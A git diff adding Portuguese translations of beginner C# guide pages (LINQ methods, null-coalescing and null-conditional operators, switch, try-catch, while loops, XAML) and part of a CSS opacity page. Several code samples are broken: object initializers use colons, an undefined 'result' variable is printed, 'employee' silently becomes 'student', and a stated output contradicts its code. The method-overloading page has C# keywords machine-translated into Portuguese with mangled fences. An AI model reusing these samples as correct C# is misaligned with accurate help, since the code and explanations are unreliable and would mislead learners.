new file mode 100644
index 0000000000..31356770c2
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/linq/to-dictionary/index.md
@@ -0,0 +1,35 @@
+---
+title: To Dictionary
+localeTitle: Para o dicionário
+---
# ToDictionary
+
+Greates um dicionário do DataSet;
+
+### Assinatura
+
+```csharp
+Enumerable.ToDictionary<TSource, TKey> Method (IEnumerable<TSource>, Func<TSource, TKey>) 
+```
+
+## Exemplo
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // Generates a Dictionary of Fruits by Id 
+ var fruitsById = fruits.ToDictionary(k => k.Id, v => v); // Dictionary<int, Fruit> 
+ 
+ // Generates a dictionary fruits by color 
+ var fruitsByColor = fruits.GroupBy(g => g.Color).ToDictionary(k => k.Key, v => v.ToList()); // Dictionary of list of fruits by color 
+ 
+ // Generates a dictionary of quantity of fruits by color 
+ var fruitsByColor = fruits.GroupBy(g => g.Color).ToDictionary(k => k.Key, v => v.Sum(s => s.Quantity)); // Dictionary of sum of fruits by color 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/linq/to-list/index.md b/client/src/guide/portuguese/csharp/linq/to-list/index.md
new file mode 100644
index 0000000000..b96b975ac7
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/linq/to-list/index.md
@@ -0,0 +1,29 @@
+---
+title: To List
+localeTitle: Listar
+---
# Listar
+
+Gera uma lista com as consultas do DataSet.
+
+### Assinatura
+
+```csharp
+Enumerable.ToList<TSource> Method (IEnumerable<TSource>) 
+```
+
+## Exemplo
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // Generates list of fruits name 
+ var fruitsNames = fruits.Select(f => f.Name).ToList(); // { "Orange", "Strawberry", "Grape", "Pineapple", "Apple", "Mango" } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/linq/where/index.md b/client/src/guide/portuguese/csharp/linq/where/index.md
new file mode 100644
index 0000000000..596cff50a4
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/linq/where/index.md
@@ -0,0 +1,32 @@
+---
+title: Where
+localeTitle: Onde
+---
# Onde
+
+Filtra elementos do conjunto de dados.
+
+### Assinatura
+
+```csharp
+Enumerable.Where<TSource> Method (IEnumerable<TSource>, Func<TSource, Boolean>) 
+```
+
+## Exemplo
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // Fruits with more than 3 items 
+ var moreThanThree = fruits.Where(f => f.Quantity > 3).ToList(); // { Strawberry, Grape, Apple } 
+ 
+ // Fruits that are not red 
+ var notRed = fruits.Where(f => f.Color != "Red").ToList(); // { Orange, Grape, Pineapple, Mango } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/literal-improvements/index.md b/client/src/guide/portuguese/csharp/literal-improvements/index.md
new file mode 100644
index 0000000000..542df2bc65
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/literal-improvements/index.md
@@ -0,0 +1,18 @@
+---
+title: Literal Improvements
+localeTitle: Melhorias Literal
+---
# Melhorias Literal
+
+O C # 7.0 permite que \_ ocorra como um **_separador de dígitos_** dentro de literais numéricos:
+```
+var d = 123_456; 
+ var x = 0xAB_CD_EF; 
+```
+
+Você pode colocá-los onde quiser entre dígitos, para melhorar a legibilidade. Eles não têm efeito sobre o valor.
+
+Além disso, o C # 7.0 introduz **_literais binários_** , para que você possa especificar padrões de bits diretamente, em vez de precisar saber a notação hexadecimal de cor.
+```
+var b = 0b1010_1011_1100_1101_1110_1111; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/method-overloading/index.md b/client/src/guide/portuguese/csharp/method-overloading/index.md
new file mode 100644
index 0000000000..358fe9797d
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/method-overloading/index.md
@@ -0,0 +1,35 @@
+---
+title: Method Overloading
+localeTitle: Sobrecarga de método
+---
+# Sobrecarga de método
+
+Os parâmetros padrão foram introduzidos no C # versão 4.0, mas até então, os codificadores C # têm usado uma técnica diferente, que basicamente faz o mesmo, chamado sobrecarga de método. Ele permite que o programador defina vários métodos com o mesmo nome, desde que eles tomem um conjunto diferente de parâmetros. Quando você usa as classes do .NET framework, logo percebe que a sobrecarga de métodos é usada em todo o lugar.
+
+## Exemplo
+
+1.  Crie um arquivo de classe chamado Person.cs e insira o código a seguir. \`\` \` pessoa de classe pública { public string FirstName {get; conjunto privado; } public string LastName {get; conjunto; }
+    
+    public Person (string firstName, string lastName) { this.FirstName = firstName; this.LastName = lastName; }
+    
+    public string SayHello (nome da string) { return "Olá," + nome; }
+    
+    cadeia pública SayHello (pessoa de pessoa) { return "Olá," + person.FirstName + "" + person.LastName; } }
+    
+```
+2. In your default Program.cs file you can call now this class Person using the method overloading. 
+```
+
+Programa de aula { static void Main (string \[\] args) { Pessoa pessoa = nova pessoa ("Jane", "Doe"); Console.WriteLine (person.SayHello ("Peter Smith"));
+```
+        Person friend = new Person("Chuck", "Norris"); 
+        Console.WriteLine(person.SayHello(friend)); 
+ 
+        Console.ReadKey(); 
+ 
+ 
+    } 
+ } 
+```
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/nameof-expressions/index.md b/client/src/guide/portuguese/csharp/nameof-expressions/index.md
new file mode 100644
index 0000000000..78b883b03e
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/nameof-expressions/index.md
@@ -0,0 +1,35 @@
+---
+title: nameof Expressions
+localeTitle: nome de expressões
+---
+# nome de expressões
+
+Às vezes, você precisa do nome da string de uma variável, tipo ou membro para coisas como levantar uma exceção, registrar ou disparar eventos alterados da propriedade. Antes do C # 6.0, você poderia usar uma string literal para tais finalidades.
+
+# #
+```
+public void ProcessStudent(Student student) 
+ { 
+    if (student == null) throw new ArgumentNullException("student"); 
+ } 
+```
+
+No entanto, se o parâmetro do aluno fosse renomeado, você teria que lembrar de modificar também o literal da string. Agora, com o nome de expressões, você não precisa usar literais de string e o compilador poderá avisá-lo se você estiver usando um nome incorreto.
+
+# #
+```
+public void ProcessStudent(Student student) 
+ { 
+    if (student == null) throw new ArgumentNullException(nameof(student)); 
+ } 
+```
+
+Alguns exemplos de onde o nome das expressões pode ser útil incluem:
+
+*   Lançamento de exceções durante a validação de parâmetros
+*   Passando um nome de ação ao configurar links de ação do MVC
+*   Precisando passar o nome de uma propriedade ao disparar um evento de propriedade alterada em uma classe que implementa INotifyPropertyChanged
+*   Passando o nome de uma propriedade ao registrar uma propriedade de dependência XAML
+*   Incluindo uma variável, tipo ou nome de membro ao registrar
+
+Deve-se notar que se você fornecer nameof com um nome qualificado, o compilador irá gerar uma string para o nome mais à direita.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/nested-if-statement/index.md b/client/src/guide/portuguese/csharp/nested-if-statement/index.md
new file mode 100644
index 0000000000..84a9573466
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/nested-if-statement/index.md
@@ -0,0 +1,25 @@
+---
+title: Nested If Statement
+localeTitle: Aninhado se declaração
+---
+# Aninhado se declaração
+
+A instrução Nested If é usada quando, ao criar uma declaração if, você deseja um ponto secundário de validação ou se a instrução estiver dentro dela.
+```
+int Price = 100; 
+ int Quantity = 20; 
+ 
+ if (Price == 100) 
+ { 
+  if (Quantity == 20) 
+  { 
+    Console.WriteLine("Price of an item is 200, and we have 20 in quantity."); 
+  } 
+ } 
+```
+
+Portanto, uma vez que prefixamos Preço e Quantidade, a saída seria:
+```
+Price of an item is 200, and we have 20 in quantity. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/null-coalescing-operator/index.md b/client/src/guide/portuguese/csharp/null-coalescing-operator/index.md
new file mode 100644
index 0000000000..16f2445ced
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/null-coalescing-operator/index.md
@@ -0,0 +1,76 @@
+---
+title: Null-coalescing Operator
+localeTitle: Operador de coalescência nula
+---
+# Operador de coalescência nula
+
+O operador de coalescência nula em C # é usado para ajudar a designar uma variável para outra e especificar um valor alternativo se o valor da origem for `null` . O operador de coalescência de nulo em C # é `??` .
+
+## Exemplo 1
+
+Como `name` é `null` , o `clientName` receberá o valor "John Doe".
+
+```cs
+string name = null; 
+ 
+ string clientName = name ?? "John Doe"; 
+ 
+ Console.WriteLine(clientName); 
+```
+
+```cs
+> John Doe 
+```
+
+## Exemplo 2
+
+Como o `name` não é `null` , o `clientName` receberá o valor do `name` , que é "Jane Smith".
+
+```cs
+string name = "Jane Smith"; 
+ 
+ string clientName = name ?? "John Doe"; 
+ 
+ Console.WriteLine(clientName); 
+```
+
+```cs
+> Jane Smith 
+```
+
+## Alternativa para if… else Statement
+
+Você poderia usar uma instrução `if...else` para testar a presença de `null` e atribuir um valor diferente.
+
+```cs
+string clientName; 
+ 
+ if (name != null) 
+    clientName = name; 
+ else 
+    clientName = "John Doe"; 
+```
+
+No entanto, isso pode ser muito simplificado usando o operador de coalescência nula.
+
+```cs
+string clientName = name ?? "John Doe"; 
+```
+
+## Alternativa para operador condicional (ternário)
+
+Também é possível usar o operador condicional para testar a presença de `null` e atribuir um valor diferente.
+
+```cs
+string clientName = name != null ? name : "John Doe"; 
+```
+
+Novamente, isso pode ser simplificado usando o operador de coalescência nula.
+
+```cs
+string clientName = name ?? "John Doe"; 
+```
+
+## Referências
+
+*   [?? Operador (referência C #)](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/null-conditional-operator)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/null-conditional-operator/index.md b/client/src/guide/portuguese/csharp/null-conditional-operator/index.md
new file mode 100644
index 0000000000..e1b4608523
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/null-conditional-operator/index.md
@@ -0,0 +1,61 @@
+---
+title: Null-conditional Operator
+localeTitle: Operador Nulo-Condicional
+---
+# Operador Nulo-Condicional
+
+Operadores condicionais nulos permitem a verificação nula com uma quantidade mínima de código. Por exemplo, se você tivesse uma variável de funcionário do tipo Funcionário com uma propriedade do tipo Endereço, você pode fazer a verificação nula da seguinte forma:
+
+```csharp
+Address address = null; 
+ if (employee != null) 
+ { 
+    address = employee.Address; 
+ } 
+```
+
+Você poderia usar um operador condicional padrão para tornar essa verificação mais concisa:
+
+```csharp
+Address address = employee != null ? employee.Address : null; 
+```
+
+No entanto, em C # 6.0 operadores condicionais nulos foram introduzidos, então agora a linha acima pode simplesmente ser representado da seguinte forma:
+
+```csharp
+Address address = student?.Address; 
+```
+
+Se employee for null, o endereço será simplesmente atribuído como null e não ocorrerá NullReferenceExeception. Isso se torna mais útil com gráficos de objeto mais profundos, já que você pode manipular uma cadeia de acesso a membros condicionais.
+
+Por exemplo:
+
+```csharp
+string city = student?.Address?.City; 
+```
+
+Operadores condicionais nulos estão em curto-circuito, assim que uma verificação do acesso de membros condicionais retorna null, o resto não ocorre.
+
+# Operador de coalescência nula
+
+Outra opção útil de verificação de nulos é o operador de coalescência nula. Retorna o operando da esquerda se o operando não for nulo; caso contrário, retorna o operando direito.
+
+Por exemplo:
+
+```csharp
+public string GetStringValue() 
+ { 
+    return null; 
+ } 
+ 
+ // Display the value of s if s is NOT null. If x IS null, display the string "It was null." 
+ 
+ string x = GetStringValue(); 
+ 
+ Console.WriteLine(x ?? "It was null."); 
+ 
+ // Result: 
+ 
+ "It was null." 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/nullable-types/index.md b/client/src/guide/portuguese/csharp/nullable-types/index.md
new file mode 100644
index 0000000000..3a13a92f4a
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/nullable-types/index.md
@@ -0,0 +1,33 @@
+---
+title: Nullable Types
+localeTitle: Tipos anuláveis
+---
+## Tipos anuláveis
+
+Tipos anuláveis ​​são instâncias do [System.Nullable \\](https://docs.microsoft.com/en-us/dotnet/api/system.nullable-1) struct. Um tipo anulável pode representar o intervalo correto de valores para seu tipo de valor subjacente, além de um valor `null` adicional. Essa habilidade é muito útil quando você está lidando com bancos de dados ou outros tipos de dados que podem conter elementos sem valor atribuído.
+
+#### Como usar o tipo anulável
+
+```csharp
+// Declare a variable of Nullable type (Nullable<int>) 
+ int? i = null; 
+ 
+ int  j = 0; 
+ int defaultValue = 0; 
+ 
+ // test for null and assign value to another variable 
+ if (i.HasValue) 
+ { 
+    j = i.Value; 
+ } 
+ 
+ // get assigned value or default when current value is null 
+ j = i.GetValueOrDefault(); // i.GetValueOrDefault(defaultValue) 
+ 
+ //use coalescing operator to assign default value when current value is null 
+ j = i ?? defaultValue; 
+```
+
+Para mais informações, visite o seguinte link:
+
+*   [Guia de programação C #: tipos anuláveis](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/nullable-types/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/return/index.md b/client/src/guide/portuguese/csharp/return/index.md
new file mode 100644
index 0000000000..f160e3586e
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/return/index.md
@@ -0,0 +1,37 @@
+---
+title: Return Statement
+localeTitle: Declaração de Devolução
+---
+# Declaração de Devolução
+
+A declaração de `return` termina a execução de um método dentro do qual aparece e retorna o controle para o método de chamada. Pode ou não devolver um valor.
+
+Se a instrução de `return` estiver dentro de um bloco `try` e se houver um bloco `finally` , o controle será passado para o bloco `finally` , após o qual será retornado ao método de chamada.
+
+## Exemplo
+```
+class Calc 
+ { 
+  static int Sum(int i, int j) 
+  { 
+    return i + j; 
+  } 
+ 
+  static void Main() 
+  { 
+    int a = 4; 
+    int b = 3; 
+    int sum = Sum(a, b); 
+    Console.WriteLine($"The sum of {a} and {b} is {result}"); 
+ 
+    // To keep the console from closing 
+    Console.ReadLine(); 
+  } 
+ } 
+```
+
+## Saída:
+
+\`\` \`
+
+> A soma de 4 e 3 é 7 \`\`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/split/index.md b/client/src/guide/portuguese/csharp/split/index.md
new file mode 100644
index 0000000000..8621efdd9d
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/split/index.md
@@ -0,0 +1,32 @@
+---
+title: Split
+localeTitle: Dividido
+---
# Método Dividido
+
+O método `String.Split` analisa uma string: Como entrada, recebe um caractere indicando o separador e gera uma matriz de subcadeias.
+
+## Exemplo
+
+```csharp
+string myText = "I like pizza"; 
+ 
+ // Split the string by ' '(space) character. 
+ string[] splitResult = myText.Split(' '); 
+ 
+ // The array splitResult, now contains three substrings. 
+ 
+ // Now print the array of substrings 
+ foreach(string x in splitResult) 
+ { 
+    // Write On Console 
+    Console.WriteLine(x); 
+ } 
+```
+
+## Saída:
+```
+> I 
+ > like 
+ > pizza 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/string-interpolation/index.md b/client/src/guide/portuguese/csharp/string-interpolation/index.md
new file mode 100644
index 0000000000..f5278f5bc4
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/string-interpolation/index.md
@@ -0,0 +1,29 @@
+---
+title: String Interpolation
+localeTitle: Interpolação de Cadeias
+---
+# Interpolação de Cadeias
+
+Em C #, normalmente para concatenar strings, você usaria o operador “+” ou a formatação composta com um método como String.Format. Por formatação composta, estou me referindo a uma cadeia de formato com espaços reservados indexados (itens de formato) e uma lista de objetos a serem usados ​​nos espaços reservados.
+
+# #
+```
+string message = "Hello " + firstName + " " + lastName + "!"; 
+ 
+ string message2 = string.Format("Hello {0} {1}!", firstName, lastName); 
+```
+
+Com expressões de string interpoladas, você tem uma string com expressões contidas que são substituídas pelos resultados das expressões. Você precisa prefixar sua string literal com um sinal de dólar ($). As expressões que você deseja incluir na string são colocadas em linha entre chaves. A mensagem acima ficaria assim:
+
+# #
+```
+string message = $"Hello {firstName} {lastName}!"; 
+```
+
+**Pouco de informação útil** Na interpolação de string, você pode chamar funções, propriedades e operadores ternários:
+```
+int a = 3; 
+ int b = 454; 
+ string result = $"{a}+{b} = {a+b}"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/substring/index.md b/client/src/guide/portuguese/csharp/substring/index.md
new file mode 100644
index 0000000000..ece568a6e6
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/substring/index.md
@@ -0,0 +1,25 @@
+---
+title: Substring
+localeTitle: Substring
+---
# Substring
+
+`Substring` extrai uma parte de um valor de string. É usado com 2 parâmetros inteiros, o primeiro é a localização do primeiro caractere (começa com o índice 0) e o segundo é o tamanho do caractere desejado.
+
+## Exemplo
+```
+string firstSentence = "Apple, I have."; 
+ string secondSentence = "I have a Pen."; 
+ 
+ string apple = firstSentence.Substring(0,5); 
+ string pen = secondSentence.Substring(9,3); 
+ 
+ Console.WriteLine(apple); 
+ Console.WriteLine(pen); 
+```
+
+## Saída:
+```
+>Apple 
+ >Pen 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/switch-case/index.md b/client/src/guide/portuguese/csharp/switch-case/index.md
new file mode 100644
index 0000000000..132fe45619
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/switch-case/index.md
@@ -0,0 +1,49 @@
+---
+title: Switch Case
+localeTitle: Caso do interruptor
+---
+# Caso do interruptor
+
+Switch é uma instrução de seleção que escolhe uma seção de caso de switch, dependendo do valor correspondente à expressão / valor que está sendo avaliado. 1 Se nenhuma das declarações case corresponder ao valor da variável comutada, o caminho padrão será escolhido. A instrução switch é como um conjunto de `if statements` . Nós saímos do interruptor por `break` .
+
+## Exemplo
+```
+public enum Colors { Red, Blue, Green, Orange } 
+ 
+ Colors myColor; 
+ 
+ ... myColor is set to one of the enum values ... 
+ 
+ switch(myColor){ 
+  case Colors.Red: 
+    Console.WriteLine("How you like them apples?"); 
+    break; 
+  case Colors.Blue: 
+    Console.WriteLine("Ice Ice Baby..."); 
+    break; 
+  case Colors.Green: 
+    Console.WriteLine("Fore!"); 
+    break; 
+  default: 
+    Console.WriteLine("I have a hard time when I try to rhyme."); 
+ } 
+```
+
+## Saída
+```
+If myColor is Colors.Red: 
+ > How you like them apples? 
+ 
+ If myColor is Colors.Blue: 
+ > Ice Ice Baby... 
+ 
+ If myColor is Colors.Green: 
+ > Fore! 
+ 
+ If myColor is Colors.Orange: 
+ > I have a hard time when I try to rhyme. 
+```
+
+### Fontes:
+
+*   1 https://docs.microsoft.com/pt-br/dotnet/csharp/language-reference/keywords/switch
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/ternary-operator/index.md b/client/src/guide/portuguese/csharp/ternary-operator/index.md
new file mode 100644
index 0000000000..042aa84269
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/ternary-operator/index.md
@@ -0,0 +1,41 @@
+---
+title: Ternary operator
+localeTitle: Operador ternário
+---
+# Operador ternário ( `?:` :)
+
+O operador ternário retorna uma das duas expressões com base na condição. Pode ser usado como um atalho para if ... else statement.
+
+## Sintaxe
+```
+condition_expression ? expression_1 : expression_2 
+```
+
+### Parâmetro
+
+`condition_expression` Expressão booleana.
+
+`expression_1` Retornado se `condition_expression` for true.
+
+`expression_2` Retornado se `condition_expression` for falso.
+
+## Exemplo
+```
+// initialize - set true or false here to view different result 
+ bool hasFreeSweet = false; 
+ 
+ string str = hasFreeSweet ? "Free sweet!" : "No free sweet."; 
+ 
+ //output in console 
+ Console.WriteLine(str); 
+```
+
+## Saída
+```
+if hasFreeSweet == true 
+ > Free sweet! 
+ 
+ if hasFreeSweet == false 
+ > No free sweet. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/try-catch/index.md b/client/src/guide/portuguese/csharp/try-catch/index.md
new file mode 100644
index 0000000000..9a48021718
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/try-catch/index.md
@@ -0,0 +1,108 @@
+---
+title: Try Catch Finally
+localeTitle: Tente pegar Finalmente
+---
+# Tente pegar Finalmente
+
+Um bloco Try-Catch-Finally é usado para evitar exceções não tratadas que quebram seu aplicativo. Quando seu código `throws` uma exceção que fica entre a seção `try` , ele será capturado na parte `catch` da instrução, onde você pode manipulá-lo como desejar. A instrução `finally` é sempre executada no final e geralmente é usada para limpar recursos não gerenciados. Você nem sempre precisa ter os três blocos presentes, abaixo estão as opções válidas.
+
+*   Try-Catch-Finally
+*   Try-Catch
+*   Tente-finalmente
+
+## Sintaxe
+
+```csharp
+try 
+ { 
+   // Code which could potentially throw an exception 
+   var parsedValue = Int32.Parse("abcde"); 
+ } 
+ catch(Exception e) 
+ { 
+    // Code to handle the exception 
+    Console.WriteLine("Exception: " + e.Message); 
+ } 
+ finally 
+ { 
+    // Code which will always run no matter what. 
+    Console.WriteLine("Try-Catch block has finished execution"); 
+ } 
+```
+
+No exemplo acima, estamos tentando converter 'abcde' em um valor numérico. Esta linha lançará uma exceção porque não pode ser convertida para um número com sucesso. A execução será capturada no bloco catch e a mensagem de exceção e outros detalhes serão armazenados na variável designada no bloco catch (A letra 'e' no exemplo acima). Depois de tudo isso ter sido executado, a seção "finalmente" será executada para finalizá-la.
+
+## Tente bloquear
+
+O bloco try deve ser colocado em volta do código que pode se comportar de maneira fora do comum e causar uma `Exception` e interromper sua aplicação. Por ter um bloco try você se protege de uma falha fatal do aplicativo. É importante observar que, assim que seu aplicativo tiver um erro e uma exceção for lançada, o resto do código no bloco `Try` **não** será executado.
+
+Um bloco try tem seu próprio escopo de método, portanto, qualquer variável declarada dentro do bloco try não será acessível fora do bloco try.
+
+```csharp
+try 
+ { 
+    // Read user input from the console. 
+    var userInput = Console.ReadLine(); 
+ } 
+ catch(Exception e) 
+ { 
+    Console.WriteLine("Exception: " + e.Message); 
+ } 
+ 
+ //Outside the Try block 
+ var parsedUserInput = Int32.Parse(userInput);  // Not correct 
+```
+
+Acima, você receberá um erro de tempo de compilação, pois o valor 'userInput' não está acessível. Se você precisar acessar uma variável fora do bloco try-catch, será necessário declarar a variável antes do bloco try.
+
+```csharp
+var userInput = ""; 
+ try 
+ { 
+    // Read user input from the console. 
+    userInput = Console.ReadLine(); 
+ } 
+ catch(Exception e) 
+ { 
+    Console.WriteLine("Exception: " + e.Message); 
+ } 
+ 
+ //Outside the Try block 
+ var parsedUserInput = Int32.Parse(userInput);  // Correct 
+```
+
+## Bloco de captura
+
+Este bloco é onde você especifica o tipo de `Exception` que deseja capturar. Se você quiser pegar TODAS as exceções possíveis, você pode usar a classe base `Exception` . Se você deseja capturar apenas um tipo específico de exceção, é possível especificar isso. Alguns exemplos de outros tipos de exceção são `ArgumentException` , `OutOfMemoryException` e `FormatException` .
+
+```csharp
+try 
+ { 
+   var parsedValue = Int32.Parse("abcde"); 
+ } 
+ // Only FormatExceptions will be caught in this catch block. 
+ catch(FormatException exceptionVariable) 
+ { 
+    Console.WriteLine(exceptionVariable.Message); 
+ } 
+```
+
+A variável declarada após o tipo de exceção conterá todos os dados da exceção e poderá ser usada dentro do bloco `Catch` .
+
+## Finalmente bloqueie
+
+O bloco finally é **sempre** executado no final após os blocos `Try` e `Catch` . Esta seção é geralmente usada para quando algo **deve** acontecer no final, independentemente de uma exceção ser lançada ou não. Por exemplo, digamos que precisamos de uma variável para ser sempre re-inicializada de volta para um número específico depois de ter sido manipulada o tempo todo.
+
+```csharp
+int initalValue = 12; 
+ try 
+ { 
+    // Code which manipulates 'initialValue' 
+ } 
+ finally 
+ { 
+    Console.WriteLine("re-initalising value back to 12"); 
+    initialValue = 12; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/while-loop/index.md b/client/src/guide/portuguese/csharp/while-loop/index.md
new file mode 100644
index 0000000000..4c75d6b979
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/while-loop/index.md
@@ -0,0 +1,53 @@
+---
+title: While Loop
+localeTitle: While Loop
+---
# While Loop
+
+O loop while executa um bloco de código até que uma condição especificada seja falsa. Como o teste da expressão while ocorre antes de cada execução do loop, um loop while executa zero ou mais vezes. Isso difere do loop do, que é executado uma ou mais vezes porque o teste da expressão ocorre após a execução do loop. 1
+
+## Exemplo
+
+```csharp
+int i = 0; 
+ while (i < 5) 
+ { 
+    Console.WriteLine("Number " + i); 
+    i++; 
+ } 
+```
+
+### Saída:
+```
+> Number 0 
+ > Number 1 
+ > Number 2 
+ > Number 3 
+ > Number 4 
+```
+
+## Outros usos
+
+Os loops while são geralmente usados ​​para infinitas iterações usando (por exemplo) `while (true)` , apenas para serem finalizados por uma condição não relacionada à condição inicial do loop.
+
+```csharp
+int i = 0; 
+ while (true) 
+ { 
+    if(i<50){ 
+        Console.WriteLine("Number " + i); 
+        i++; 
+    } 
+    else{ 
+        Console.WriteLine("End of loop"); 
+        break; 
+    } 
+ } 
+```
+
+## Diferenças para o loop `for`
+
+As maiores diferenças entre o `for` e `while` voltas é que `while` é normalmente usado quando um desenvolvedor não é certeza de um número exato de iterações do loop, e `for` é usado quando está claro quantas vezes para percorrer código.
+
+### Fontes
+
+*   [Microsoft C # - enquanto](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/while)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/xaml/index.md b/client/src/guide/portuguese/csharp/xaml/index.md
new file mode 100644
index 0000000000..ef6132c20f
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/xaml/index.md
@@ -0,0 +1,41 @@
+---
+title: Xaml
+localeTitle: Xaml
+---
+## XAML: Extensible Application Markup Language
+
+XAML pronunciado como "Zammel" é uma linguagem de marca desenvolvida pela Microsoft. Essa linguagem de marcação é usada principalmente para projetar GUIs. Também é popular pela sua usabilidade no fluxo de trabalho.
+
+Áreas como Silverlight, Desenvolvimento Móvel, WPF (Windows Presentation Foindation), Windows Store usam o XAML muito e abrangem qualquer estrutura CLR e .NET
+
+É uma linguagem declarativa e responde o que e como. Destina-se a separar o comportamento do código de designer.
+
+## Exemplo
+
+Criando um TextBlock com várias propriedades. TextBlocks geralmente são empregados para a saída de texto, muito parecido com Labels em versões mais antigas do .NET framework.
+
+```xml
+<TextBlock Text="I am a TextBlock!" 
+    HorizontalAlignment="Left" 
+    FontSize="25" 
+    FontWeight="Bold" 
+    Margin="50,10,0,0" /> 
+```
+
+### Exemplo 2
+
+O exemplo a seguir mostra um rótulo com "Hello World!" como seu conteúdo em um contêiner de nível superior chamado UserControl.
+
+```XAML
+<UserControl xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"> 
+    <Label Content="Hello World!" /> 
+ </UserControl> 
+```
+
+### Mais Informações:
+
+*   [Um artigo para iniciantes sobre o XAML e o mecanismo do WPF](http://www.c-sharpcorner.com/UploadFile/logisimo/a-beginners-article-about-xaml-and-the-wpf-engine/)
+    
+*   [XAML Magic: propriedades anexadas](http://www.codemag.com/article/1405061)
+    
+*   [Visão Geral do XAML (WPF)](https://docs.microsoft.com/en-us/dotnet/framework/wpf/advanced/xaml-overview-wpf)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/background-opacity/index.md b/client/src/guide/portuguese/css/background-opacity/index.md
new file mode 100644
index 0000000000..b712cb745b
--- /dev/null
+++ b/client/src/guide/portuguese/css/background-opacity/index.md
@@ -0,0 +1,62 @@
+---
+title: Background Opacity
+localeTitle: Opacidade de fundo
+---
+## Opacidade de fundo
+
+A propriedade opacidade especifica a opacidade / transparência de um elemento, ou seja, o grau em que o conteúdo por trás do elemento é visível.
+
+A propriedade de opacidade pode levar um valor de 0,0 a 1,0. Quanto menor o valor, mais transparente:
+
+Encontre mais detalhes [aqui](https://www.w3schools.com/css/css_image_transparency.asp)
+
+Você pode escolher até que ponto deseja tornar o elemento transparente. Você precisa adicionar a seguinte propriedade CSS para obter os níveis de transparência.
+
+**Totalmente opaco**
+
+```css
+.class-name { 
+  opacity:1; 
+ } 
+ 
+ OR 
+ 
+ .class-name { 
+  opacity:1.0; 
+ } 
+```
+
+**Translúcido**
+
+```css
+.class-name { 
+  opacity:0.5; 
+ } 
+ Opacity value can be anything between 0 and 1; 
+```
+
+**Transparente**
+
+```css
+.class-name { 
+  opacity:0; 
+ } 
+ 
+ OR 
+ 
+ .class-name { 
+  opacity:0.0; 
+ } 
+```
+
+Alternativamente, você pode usar um valor rgba transparente como este: \`\` \`css
+
